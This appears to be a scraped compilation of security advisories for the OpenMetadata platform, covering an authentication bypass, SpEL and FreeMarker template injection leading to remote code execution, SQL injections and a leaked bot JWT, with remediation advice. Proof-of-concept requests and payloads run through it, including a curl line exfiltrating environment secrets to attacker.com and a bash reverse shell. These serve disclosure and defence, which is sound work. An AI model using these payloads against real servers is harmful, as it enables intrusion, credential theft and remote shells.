See how open-metadata compares to other vendors in security performance
OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The JwtFilter handles the API authentication by requiring and verifying JWT tokens. When a new request comes in, the request's path is checked against this list. When the request's path contains any of the excluded endpoints the filter returns without validating the JWT. Unfortunately, an attacker may use Path Parameters to make any path contain any arbitrary strings. For example, a request to GET /api/v1;v1%2fusers%2flogin/events/subscriptions/validation/condition/111 will match the excluded endpoint condition and therefore will be processed with no JWT validation allowing an attacker to bypass the authentication mechanism and reach any arbitrary endpoint, including the ones listed above that lead to arbitrary SpEL expression injection. This bypass will not work when the endpoint uses the SecurityContext.getUserPrincipal() since it will return null and will throw an NPE. This issue may lead to authentication bypass and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability. This issue is also tracked as GHSL-2023-237.
SpEL Injection in PUT /api/v1/policies (GHSL-2023-252)
Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability
CompiledRule::validateExpression is also called from PolicyRepository.prepare
java @Override public void prepare(Policy policy, boolean update) { validateRules(policy); } ... public void validateRules(Policy policy) { List<Rule> rules = policy.getRules(); if (nullOrEmpty(rules)) { throw new IllegalArgumentException(CatalogExceptionMessage.EMPTYRULESINPOLICY); }
// Validate all the expressions in the rule for (Rule rule : rules) { CompiledRule.validateExpression(rule.getCondition(), Boolean.class); rule.getResources().sort(String.CASEINSENSITIVEORDER); rule.getOperations().sort(Comparator.comparing(MetadataOperation::value));
// Remove redundant resources rule.setResources(filterRedundantResources(rule.getResources()));
// Remove redundant operations rule.setOperations(filterRedundantOperations(rule.getOperations())); } rules.sort(Comparator.comparing(Rule::getName)); }
prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():
java public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) { repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName()); MetadataOperation operation = createOrUpdateOperation(resourceContext); OperationContext operationContext = new OperationContext(entityType, operation); if (operation == CREATE) { CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity); authorizer.authorize(securityContext, operationContext, createResourceContext); entity = addHref(uriInfo, repository.create(uriInfo, entity)); return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITYCREATED).toResponse(); } authorizer.authorize(securityContext, operationContext, resourceContext); PutResponse<T> response = repository.createOrUpdate(uriInfo, entity); addHref(uriInfo, response.getEntity()); return response.toResponse(); }
Note that even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and therefore after the SpEL expression has been evaluated.
In order to reach this method, an attacker can send a PUT request to /api/v1/policies which gets handled by PolicyResource.createOrUpdate():
java @PUT @Operation( operationId = "createOrUpdatePolicy", summary = "Create or update a policy", description = "Create a new policy, if it does not exist or update an existing policy.", responses = { @ApiResponse( responseCode = "200", description = "The policy", content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))), @ApiResponse(responseCode = "400", description = "Bad request") }) public Response createOrUpdate( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) { Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName()); return createOrUpdate(uriInfo, securityContext, policy); }
This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.
Proof of concept - Prepare the payload - Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==) - Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA=="))) - Send the payload using a valid JWT token:
http PUT /api/v1/policies HTTP/1.1 Host: localhost:8585 sec-ch-ua: "Chromium";v="119", "Not?ABrand";v="24" Authorization: Bearer <non-admin JWT> accept: application/json Connection: close Content-Type: application/json Content-Length: 367
{"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]} - Verify that a file called /tmp/pwned was created in the OpenMetadata server
Impact
This issue may lead to Remote Code Execution by a registered and authenticated user
Remediation
Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.
OpenMetadata RCE Vulnerability - Proof of Concept
Executive Summary
CRITICAL Remote Code Execution vulnerability confirmed in OpenMetadata v1.11.2 via Server-Side Template Injection (SSTI) in FreeMarker email templates.
Vulnerability Details
1. Root Cause
File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java
Lines 35-45 contain unsafe FreeMarker template instantiation:
java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } return new Template( templateName, new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE new Configuration(Configuration.VERSION2331)); // ← UNSAFE: NO SECURITY RESTRICTIONS! }
Missing Security Controls: - ❌ No setNewBuiltinClassResolver(TemplateClassResolver.SAFERRESOLVER) - Allows arbitrary class instantiation - ❌ No setAPIBuiltinEnabled(false) - Enables ?api built-in for reflection - ❌ No input validation - Template content not sanitized
2. Attack Vector (VERIFIED)
Step 1: Attacker with Admin role modifies EmailTemplate via PATCH endpoint
bash PATCH /api/v1/docStore/{templateId} Authorization: Bearer <adminjwttoken> Content-Type: application/json-patch+json
[ { "op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>" } ]
Step 2: Malicious template stored in MySQL database:
sql SELECT name, JSONEXTRACT(json, '$.data.template') FROM docstore WHERE name = 'account-activity-change';
-- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>...
Step 3: Trigger template rendering via email notification: - Password change - User invitation - Account activity notification - Test email (if SMTP configured)
Step 4: RCE execution in DefaultTemplateProvider.getTemplate():
java Template template = templateProvider.getTemplate("account-activity-change"); template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER!
---
Exploit Verification
Environment
- Version: OpenMetadata 1.11.2 (Latest) - Platform: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4) - Test Date: December 15, 2025
Step-by-Step Reproduction
1. Deploy OpenMetadata 1.11.2
bash cd docker ./runlocaldocker.sh -m no-ui -d mysql
Result: ✅ OpenMetadata running on localhost:8585
2. Obtain Admin JWT Token
bash export NOPROXY=localhost,127.0.0.1 TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \ -H "Content-Type: application/json" \ -d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \ | grep -o '"accessToken":"[^"]' | cut -d'"' -f4)
echo "Token: ${TOKEN:0:50}..."
Result: ✅ Token obtained (654 characters, 1-hour expiry)
3. Identify Target Template
bash Get testMail template ID (used by test email endpoint) curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \ -H "Authorization: Bearer $TOKEN" \ | jq -r '.data[] | select(.name=="testMail") | .id'
Result: ✅ Template ID: 855f58c6-1b80-467a-b92e-71c425e9bfdb
4. Inject RCE Payload
bash curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \ -H "Content-Type: application/json-patch+json" \ -H "Authorization: Bearer $TOKEN" \ -d '[{ "op": "replace", "path": "/data/template", "value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }]'
Result: ✅ HTTP 200 OK - Template modified successfully
Response Excerpt: json { "id": "855f58c6-1b80-467a-b92e-71c425e9bfdb", "name": "testMail", "entityType": "EmailTemplate", "data": { "template": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}" }, "changeDescription": { "fieldsUpdated": [ { "name": "data", "oldValue": "{\"template\":\"<!DOCTYPE HTML ...ORIGINALTEMPLATE...\"}", "newValue": "{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}" } ] } }
5. Setup SMTP Server
bash Start MailDev SMTP server (catches emails for verification) docker run -d --name fakesmtp \ --network linhln31default \ -p 1025:1025 -p 1080:1080 \ maildev/maildev:latest
Update OpenMetadata SMTP configuration docker exec ommysql mysql -uopenmetadatauser -popenmetadatapassword \ -Dopenmetadatadb -e "UPDATE openmetadatasettings SET json=JSONSET(json, '$.serverEndpoint', 'fakesmtp', '$.serverPort', 1025, '$.transportationStrategy', 'SMTP', '$.enableSmtpServer', true, '$.senderMail', 'noreply@openmetadata.org' ) WHERE configType='emailConfiguration';"
Restart OpenMetadata to load new SMTP config docker restart omserver sleep 50 # Wait for server startup
Result: ✅ SMTP server ready at fakesmtp:1025
6. Trigger RCE Execution
bash curl -X PUT "http://localhost:8585/api/v1/system/email/test" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"email":"test@test.com"}'
Result: ✅ HTTP 200 OK - "Test Email Sent Successfully."
7. Verify RCE Execution
bash Check email content in MailDev docker exec fakesmtp cat /tmp/maildev-1/.eml | tail -10
Result: ✅ RCE CONFIRMED!
Email Content: Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT) From: noreply@openmetadata.org To: test@test.com Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2> Subject: OpenMetadata : Test Email MIME-Version: 1.0 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
RCE OUTPUT: openmetadata - /opt/openmetadata
Command Execution Proof: - ✅ whoami command executed → returned openmetadata - ✅ pwd command executed → returned /opt/openmetadata - ✅ Commands ran as server process user - ✅ Full arbitrary command execution achieved
---
Attack Scenarios
Scenario 1: Privilege Escalation
1. Attacker compromises Admin account (phishing, credential stuffing, etc.) 2. Injects RCE payload into password-reset template 3. Triggers password reset for target user 4. RCE executes as OpenMetadata server user during email rendering 5. Attacker gains shell access to application server
Scenario 2: Data Exfiltration
freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")}
Exfiltrates environment variables containing: - Database credentials - API keys and secrets - JWT signing keys - Cloud provider credentials
Scenario 3: Reverse Shell
freemarker <#assign ex="freemarker.template.utility.Execute"?new()> ${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}
Establishes persistent access for: - Interactive command execution - Lateral movement to connected systems - Database direct access - Kubernetes cluster compromise (if containerized)
---
Impact Assessment
Technical Impact
- Confidentiality: HIGH - Access to database credentials, API keys, secrets - Integrity: HIGH - Full control over OpenMetadata application and data - Availability: HIGH - Ability to crash application, delete data, deny service
Business Impact
- Data Breach: Access to all metadata including sensitive schema information, PII mappings, data lineage - Compliance: GDPR, SOC2, HIPAA violations if exploited - Reputation: Critical security failure in data governance platform - Supply Chain: Potential pivot to connected data sources (70+ connectors)
CVSS 3.1 Score
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
- Attack Vector (AV): Network (N) - Attack Complexity (AC): Low (L) - Simple API requests - Privileges Required (PR): High (H) - Admin role required - User Interaction (UI): None (N) - Scope (S): Changed (C) - Impacts beyond application (server OS) - Confidentiality (C): High (H) - Integrity (I): High (H) - Availability (A): High (H)
Score: 9.1 (CRITICAL)
---
Remediation
Immediate Fix (CRITICAL)
File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java
Replace lines 38-42 with:
java public Template getTemplate(String templateName) throws IOException { EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName); String template = emailTemplate.getTemplate(); if (nullOrEmpty(template)) { throw new IOException("Template content not found for template: " + templateName); } // SECURITY FIX: Create sandboxed FreeMarker configuration Configuration cfg = new Configuration(Configuration.VERSION2331); // Block dangerous built-ins cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFERRESOLVER); cfg.setAPIBuiltinEnabled(false); cfg.setClassicCompatible(false); // Restrict template loading cfg.setTemplateLoader(new StringTemplateLoader()); return new Template(templateName, new StringReader(template), cfg); } ---
SpEL Injection in GET /api/v1/policies/validation/condition/<expr> (GHSL-2023-236)
Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.
The CompiledRule::validateExpression method evaluates an SpEL expression using an StandardEvaluationContext, allowing the expression to reach and interact with Java classes such as java.lang.Runtime, leading to Remote Code Execution. The /api/v1/policies/validation/condition/<expression> endpoint passes user-controlled data CompiledRule::validateExpession allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system.
Snippet from PolicyResource.java
java @GET @Path("/validation/condition/{expression}") @Operation( operationId = "validateCondition", summary = "Validate a given condition", description = "Validate a given condition expression used in authoring rules.", responses = { @ApiResponse(responseCode = "204", description = "No value is returned"), @ApiResponse(responseCode = "400", description = "Invalid expression") }) public void validateCondition( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Parameter(description = "Expression of validating rule", schema = @Schema(type = "string")) @PathParam("expression") String expression) { CompiledRule.validateExpression(expression, Boolean.class); }
java public static <T> void validateExpression(String condition, Class<T> clz) { if (condition == null) { return; } Expression expression = parseExpression(condition); RuleEvaluator ruleEvaluator = new RuleEvaluator(); StandardEvaluationContext evaluationContext = new StandardEvaluationContext(ruleEvaluator); try { expression.getValue(evaluationContext, clz); } catch (Exception exception) { // Remove unnecessary class details in the exception message String message = exception.getMessage().replaceAll("on type .$", "").replaceAll("on object .$", ""); throw new IllegalArgumentException(CatalogExceptionMessage.failedToEvaluate(message)); } }
In addition, there is a missing authorization check since Authorizer.authorize() is never called in the affected path and therefore any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution.
This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query. Proof of concept
- Prepare the payload - Encode touch /tmp/pwned in Base64 => dG91Y2ggL3RtcC9wd25lZA== - SpEL expression to run system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA=="))) - Encode the payload using URL encoding: %54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%64%47%39%31%59%32%67%67%4c%33%52%74%63%43%39%77%64%32%35%6c%5a%41%3d%3d%22%29%29%29
- Send the payload using a valid JWT token: http GET /api/v1/policies/validation/condition/%54%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%28%54%28%6a%61%76%61%2e%75%74%69%6c%2e%42%61%73%65%36%34%29%2e%67%65%74%44%65%63%6f%64%65%72%28%29%2e%64%65%63%6f%64%65%28%22%62%6e%4e%73%62%32%39%72%64%58%41%67%61%58%70%73%4e%7a%45%33%62%33%42%69%62%57%52%79%5a%57%46%6f%61%33%4a%6f%63%44%4e%72%63%32%70%72%61%47%4a%75%4d%6d%4a%7a%65%6d%67%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%3d%22%29%29%29 HTTP/2 Host: sandbox.open-metadata.org Authorization: Bearer <non-admin JWT> - Verify that a file called /tmp/pwned was created in the OpenMetadata server Impact
This issue may lead to Remote Code Execution by a registered and authenticated user.
Remediation
Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.
SpEL Injection in PUT /api/v1/events/subscriptions (GHSL-2023-251)
Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability. A user must exist in OpenMetadata and have authenticated themselves to exploit this vulnerability.
Similarly to the GHSL-2023-250 issue, AlertUtil::validateExpression is also called from EventSubscriptionRepository.prepare(), which can lead to Remote Code Execution.
java @Override public void prepare(EventSubscription entity, boolean update) { validateFilterRules(entity); }
private void validateFilterRules(EventSubscription entity) { // Resolve JSON blobs into Rule object and perform schema based validation if (entity.getFilteringRules() != null) { List<EventFilterRule> rules = entity.getFilteringRules().getRules(); // Validate all the expressions in the rule for (EventFilterRule rule : rules) { AlertUtil.validateExpression(rule.getCondition(), Boolean.class); } rules.sort(Comparator.comparing(EventFilterRule::getName)); } }
prepare() is called from EntityRepository.prepareInternal() which, in turn, gets called from the EntityResource.createOrUpdate():
java public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) { repository.prepareInternal(entity, true);
// If entity does not exist, this is a create operation, else update operation ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName()); MetadataOperation operation = createOrUpdateOperation(resourceContext); OperationContext operationContext = new OperationContext(entityType, operation); if (operation == CREATE) { CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity); authorizer.authorize(securityContext, operationContext, createResourceContext); entity = addHref(uriInfo, repository.create(uriInfo, entity)); return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITYCREATED).toResponse(); } authorizer.authorize(securityContext, operationContext, resourceContext); PutResponse<T> response = repository.createOrUpdate(uriInfo, entity); addHref(uriInfo, response.getEntity()); return response.toResponse(); }
Note that, even though there is an authorization check (authorizer.authorize()), it gets called after prepareInternal() gets called and, therefore, after the SpEL expression has been evaluated.
In order to reach this method, an attacker can send a PUT request to /api/v1/events/subscriptions which gets handled by EventSubscriptionResource.createOrUpdateEventSubscription():
java @PUT @Operation( operationId = "createOrUpdateEventSubscription", summary = "Updated an existing or create a new Event Subscription", description = "Updated an existing or create a new Event Subscription", responses = { @ApiResponse( responseCode = "200", description = "create Event Subscription", content = @Content( mediaType = "application/json", schema = @Schema(implementation = CreateEventSubscription.class))), @ApiResponse(responseCode = "400", description = "Bad request") }) public Response createOrUpdateEventSubscription( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreateEventSubscription create) { // Only one Creation is allowed for Data Insight if (create.getAlertType() == CreateEventSubscription.AlertType.DATAINSIGHTREPORT) { try { repository.getByName(null, create.getName(), repository.getFields("id")); } catch (EntityNotFoundException ex) { if (ReportsHandler.getInstance() != null && ReportsHandler.getInstance().getReportMap().size() > 0) { throw new BadRequestException("Data Insight Report Alert already exists."); } } } EventSubscription eventSub = getEventSubscription(create, securityContext.getUserPrincipal().getName()); Response response = createOrUpdate(uriInfo, securityContext, eventSub); repository.updateEventSubscription((EventSubscription) response.getEntity()); return response; }
This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query.
Proof of concept - Prepare the payload - Encode the command to be run (eg: touch /tmp/pwned) using Base64 (eg: dG91Y2ggL3RtcC9wd25lZA==) - Create the SpEL expression to run the system command: T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA=="))) - Send the payload using a valid JWT token: http PUT /api/v1/events/subscriptions HTTP/1.1 Host: localhost:8585 Authorization: Bearer <non-admin JWT> accept: application/json Connection: close Content-Type: application/json Content-Length: 353
{ "name":"ActivityFeedAlert","displayName":"Activity Feed Alerts","alertType":"ChangeEvent","filteringRules":{"rules":[ {"name":"pwn","effect":"exclude","condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]},"subscriptionType":"ActivityFeed","enabled":true } - Verify that a file called /tmp/pwned was created in the OpenMetadata server Impact
This issue may lead to Remote Code Execution.
Remediation
Use SimpleEvaluationContext to exclude references to Java types, constructors, and bean references.
OpenMetadata is a unified platform for discovery, observability, and governance powered by a central metadata repository, in-depth lineage, and seamless team collaboration. The AlertUtil::validateExpression method evaluates an SpEL expression using getValue which by default uses the StandardEvaluationContext, allowing the expression to reach and interact with Java classes such as java.lang.Runtime, leading to Remote Code Execution. The /api/v1/events/subscriptions/validation/condition/<expression> endpoint passes user-controlled data AlertUtil::validateExpession allowing authenticated (non-admin) users to execute arbitrary system commands on the underlaying operating system. In addition, there is a missing authorization check since Authorizer.authorize() is never called in the affected path and, therefore, any authenticated non-admin user is able to trigger this endpoint and evaluate arbitrary SpEL expressions leading to arbitrary command execution. This vulnerability was discovered with the help of CodeQL's Expression language injection (Spring) query and is also tracked as GHSL-2023-235. This issue may lead to Remote Code Execution and has been addressed in version 1.2.4. Users are advised to upgrade. There are no known workarounds for this vulnerability.
OpenMetadata <=1.4.1 is vulnerable to SQL Injection. An attacker can extract information from the database in function listCount in the WorkflowDAO interface. The workflowtype and status parameters can be used to build a SQL query.
OpenMetadata <=1.4.4 is vulnerable to SQL Injection. An attacker can extract information from the database in function listCount in the TestDefinitionDAO interface. The testPlatform parameter can be used to build a SQL query.
Summary Calls issued by the UI against /api/v1/ingestionPipelines leak JWTs used by ingestion-bot for certain services (Glue / Redshift / Postgres)
Details Any read-only user can gain access to a highly privileged account, typically which has the Ingestion Bot Role. This enables destructive changes in OpenMetadata instances, and potential data leakage (e.g. sample data, or service metadata which would be unavailable per roles/policies).
PoC I was able to extract the JWT used by the bot/agent populating sampleathena.default in the Collate Sandbox. To prove this out, I mutated the description to this UUID: fe2e4cc1-da72-4acf-8535-112a3cfa9c7e, which you can see @ https://sandbox.open-metadata.org/database/sampleathena.default.
Steps to Reproduce
Create a Collate Sandbox account; these are non-admin accounts by default with minimal permissions. Open the Developer Console Go to the Services Page. In this case, sampleathena, though other services In the Network tab, introspect the request made to api/v1/services/ingestionPipelines, and find the jwtToken in the response: <img width="1329" height="299" alt="image" src="https://github.com/user-attachments/assets/0c405776-159e-4188-9591-ed8cc71bc596" />
Use the JWT to issue (potentially destructive) API calls <img width="3024" height="1798" alt="image" src="https://github.com/user-attachments/assets/ab40b528-4d2b-404b-8f8a-482a1693e179" />
Resulting mutated description: <img width="622" height="399" alt="image" src="https://github.com/user-attachments/assets/3fa630ff-93b5-4b7d-8e3c-220f8a84a23a" />
Note that this is also the case for these services, among others: acmenexusredshift samplepostgres
Proposed Remediation Redact jwtToken in API payload. Implement role-based filtering - Only return JWT tokens to users with explicit admin/service account permissions (for Admins) Rotate Ingestion Bot Tokens in affected environments
Impact What kind of vulnerability is it? Who is impacted?
Vulnerability Type: Privilege Escalation Risk: User impersonation, even for those with read-only access, can lead to destructive outcomes if malicious actors leverage the leaked JWT.
OpenMetadata <=1.4.4 is vulnerable to SQL Injection. An attacker can extract information from the database in function listCount in the TestDefinitionDAO interface. The entityType parameter can be used to build a SQL query.
OpenMetadata <=1.4.4 is vulnerable to SQL Injection. An attacker can extract information from the database in function listCount in the DocStoreDAO interface. The entityType parameters can be used to build a SQL query.
OpenMetadata <=1.4.4 is vulnerable to SQL Injection. An attacker can extract information from the database in function listCount in the TestDefinitionDAO interface. The supportedDataTypeParam parameter can be used to build a SQL query.